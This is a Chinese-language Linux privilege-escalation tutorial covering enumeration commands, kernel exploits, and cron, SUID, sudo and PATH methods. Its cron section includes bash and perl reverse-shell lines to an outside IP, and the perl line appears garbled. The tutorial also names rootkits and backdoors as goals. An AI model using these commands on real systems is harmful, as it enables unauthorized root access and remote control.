提權(quán)指的是低權(quán)限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統(tǒng)權(quán)限;Linux提權(quán)一般是指獲取root用戶權(quán)限的操作過(guò)程。Linux提權(quán)的本質(zhì)一方面是信息收集,另一方面是對(duì)內(nèi)核漏洞的掌握情況;提權(quán)是否成功的關(guān)鍵是信息收集是否完整。
本教程操作環(huán)境:linux7.3系統(tǒng)、Dell G3電腦。
linux提權(quán)概念介紹
提權(quán)是什么
提權(quán)指的是低權(quán)限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統(tǒng)權(quán)限。
詳細(xì)來(lái)說(shuō),就是指利用操作系統(tǒng)或應(yīng)用軟件中的程序漏洞、設(shè)計(jì)缺陷或配置疏忽來(lái)獲取對(duì)應(yīng)用程序或用戶來(lái)說(shuō)受保護(hù)資源的高級(jí)訪問(wèn)權(quán)限。其結(jié)果是,應(yīng)用程序可以獲取比應(yīng)用程序開發(fā)者或系統(tǒng)管理員預(yù)期的更高的特權(quán),從而可以執(zhí)行授權(quán)的動(dòng)作。
Linux提權(quán)一般是指獲取root用戶權(quán)限的操作過(guò)程。
Linux提權(quán)目的
提權(quán)操作有風(fēng)險(xiǎn)為什么還要進(jìn)行提權(quán)?什么情況下需要進(jìn)行提權(quán)?獲取高權(quán)限之后可以做什么?
通過(guò)命令執(zhí)行漏洞獲取的一個(gè)反彈shell或是通過(guò)Web漏洞獲取了一個(gè)Webshell后,一般情況下權(quán)限都較低。在執(zhí)行一些重要敏感的操作或是對(duì)重要的文件進(jìn)行修改時(shí)無(wú)法正常進(jìn)行,便需要進(jìn)行提權(quán)。Linux中安裝的數(shù)據(jù)庫(kù)、中間件等一般都不是以root用戶啟動(dòng)的,通過(guò)數(shù)據(jù)庫(kù)或是中間件獲取到的權(quán)限是是低權(quán)限的。
獲取一個(gè)root權(quán)限是每一個(gè)黑客的夢(mèng)想。
- 讀取寫入服務(wù)器中的重要文件:
- 修改root密碼
- 替換系統(tǒng)命令
- 在系統(tǒng)中放置更為隱蔽的后門:
- ping后門
- Rootkit
- 保證服務(wù)器重啟之后權(quán)限仍在:
- 內(nèi)存后門
Linux提權(quán)本質(zhì)
Linux提權(quán)的本質(zhì)一方面是信息收集,另一方面是對(duì)內(nèi)核漏洞的掌握情況。
Linux信息收集
任何提權(quán)的第一步操作一定是對(duì)操作系統(tǒng)進(jìn)行信息收集。提權(quán)是否成功的關(guān)鍵是信息收集是否完整。
-
內(nèi)核設(shè)備信息:
- uname -a 打印所有可用的系統(tǒng)信息
- uname -r 內(nèi)核版本
- uname -n 系統(tǒng)主機(jī)名。
- uname -m 查看系統(tǒng)內(nèi)核架構(gòu)(64位/32位)
- hostname 系統(tǒng)主機(jī)名
- cat /proc/version 內(nèi)核信息
- cat /etc/*-release 分發(fā)信息
- cat /etc/issue 分發(fā)信息
- cat /proc/cpuinfo CPU信息
-
用戶和群組信息:
- cat /etc/passwd 列出系統(tǒng)上的所有用戶
- cat /etc/group 列出系統(tǒng)上的所有組
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超級(jí)用戶賬戶
- whoami 查看當(dāng)前用戶
- w 誰(shuí)目前已登錄,他們正在做什么
- last 最后登錄用戶的列表
- lastlog 所有用戶上次登錄的信息
- lastlog -u %username% 有關(guān)指定用戶上次登錄的信息
- lastlog |grep -v "Never" 以前登錄用戶的信息
-
用戶和權(quán)限信息:
- whoami 當(dāng)前用戶名
- id 當(dāng)前用戶信息
- cat /etc/sudoers 誰(shuí)被允許以root身份執(zhí)行
- sudo -l 當(dāng)前用戶可以以root身份執(zhí)行操作
-
環(huán)境系統(tǒng)變量信息:
- env 顯示環(huán)境變量
- set 現(xiàn)實(shí)環(huán)境變量
- echo %PATH 路徑信息
- history 顯示當(dāng)前用戶的歷史命令記錄
- pwd 輸出工作目錄
- cat /etc/profile 顯示默認(rèn)系統(tǒng)變量
- cat /etc/shells 顯示可用的shell
內(nèi)核漏洞提權(quán)
內(nèi)核漏洞提權(quán)指的是普通用戶訪問(wèn)操作系統(tǒng)內(nèi)核,利用內(nèi)核漏洞將權(quán)限提高為root權(quán)限,一般首先需要知曉操作系統(tǒng)的內(nèi)核,內(nèi)核的版本等信息,再尋找內(nèi)核漏洞的EXP進(jìn)行提權(quán)
linux常用查看系統(tǒng)信息命令 uname -a 查看系統(tǒng)全部信息 uname -r 查看內(nèi)核版本 cat /proc/version 查看內(nèi)核信息 cat /etc/*-realease 查看CentOS版本 cat /etc/issue 查看Ubuntu版本 cat /etc/redhat-release 查看RedHat版本 env 查看環(huán)境變量 echo $PATH 查看當(dāng)前環(huán)境變量 awk -F: '($3==0){print $1}' /etc/passwd 查找UID為0的用戶 find / -user root -perm -4000 -exec ls -ldb {} ; 查找設(shè)置了SUID的文件
1)查看系統(tǒng)的內(nèi)核版本
2)使用kali的searchsploit尋找對(duì)應(yīng)的內(nèi)核漏洞或網(wǎng)上尋找相應(yīng)的內(nèi)核漏洞
3)使用gcc將C語(yǔ)言程序編譯成可執(zhí)行文件,上傳至靶機(jī),執(zhí)行即可提權(quán)至root權(quán)限
Linux其他提權(quán)方法
1、計(jì)劃任務(wù)提權(quán)
利用原理:
- 當(dāng) /bin/sh指向/bin/dash的時(shí)候(ubuntu默認(rèn)這樣,當(dāng)前的靶機(jī)也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
這樣彈shell的時(shí)候不知道為什么很慢,耐心等等 - */1 * * * * root perl -e 'use Socket;(i="106.13.124.93";)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in((p,inet_aton()i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2、利用SUID提權(quán)
-
SUID概念:SUID(設(shè)置用戶ID)是賦予文件的一種權(quán)限,它會(huì)出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會(huì)在其執(zhí)行時(shí),使調(diào)用者暫時(shí)獲得該文件擁有者的權(quán)限。SUID可以讓調(diào)用者以文件擁有者的身份運(yùn)行該文件,所以我們利用SUID提權(quán)的思路就是運(yùn)行root用戶所擁有的SUID的文件,那么我們運(yùn)行該文件的時(shí)候就得獲得root用戶的身份了。那么,為什么要給Linux二進(jìn)制文件設(shè)置這種權(quán)限呢?其實(shí)原因有很多,例如,程序ping需要root權(quán)限才能打開網(wǎng)絡(luò)套接字,但執(zhí)行該程序的用戶通常都是由普通用戶,來(lái)驗(yàn)證與其他主機(jī)的連通性。
-
SUID提權(quán):什么是suid提權(quán)呢?一個(gè)文件,它有s標(biāo)志,并且他輸入root,那么我們運(yùn)行這個(gè)程序就可以有了root的權(quán)限,并且這個(gè)程序還得能執(zhí)行命令,那么我們就能從普通用戶提升到了root權(quán)限了。
-
在本地查找符合條件的文件。
- find / -user root -perm -4000 -print 2>/dev/null
- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls -ldb {} ;
-
常見的可以提權(quán)的程序
- nmap vim find Bash More Less Nano cp netcat
3、利用SUDO提權(quán)
Linux系統(tǒng)中可以使用sudo執(zhí)行一個(gè)只有root才能執(zhí)行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出當(dāng)前用戶支持sudo的命令。
盡量從代碼層面進(jìn)行對(duì)漏洞的分析。
4、環(huán)境變量提權(quán)
-
查看當(dāng)前環(huán)境變量:
- echo $PATH
5、root權(quán)限運(yùn)行的服務(wù)
- 以root的運(yùn)行的服務(wù),其中包括第三方軟件都可以進(jìn)行提權(quán)。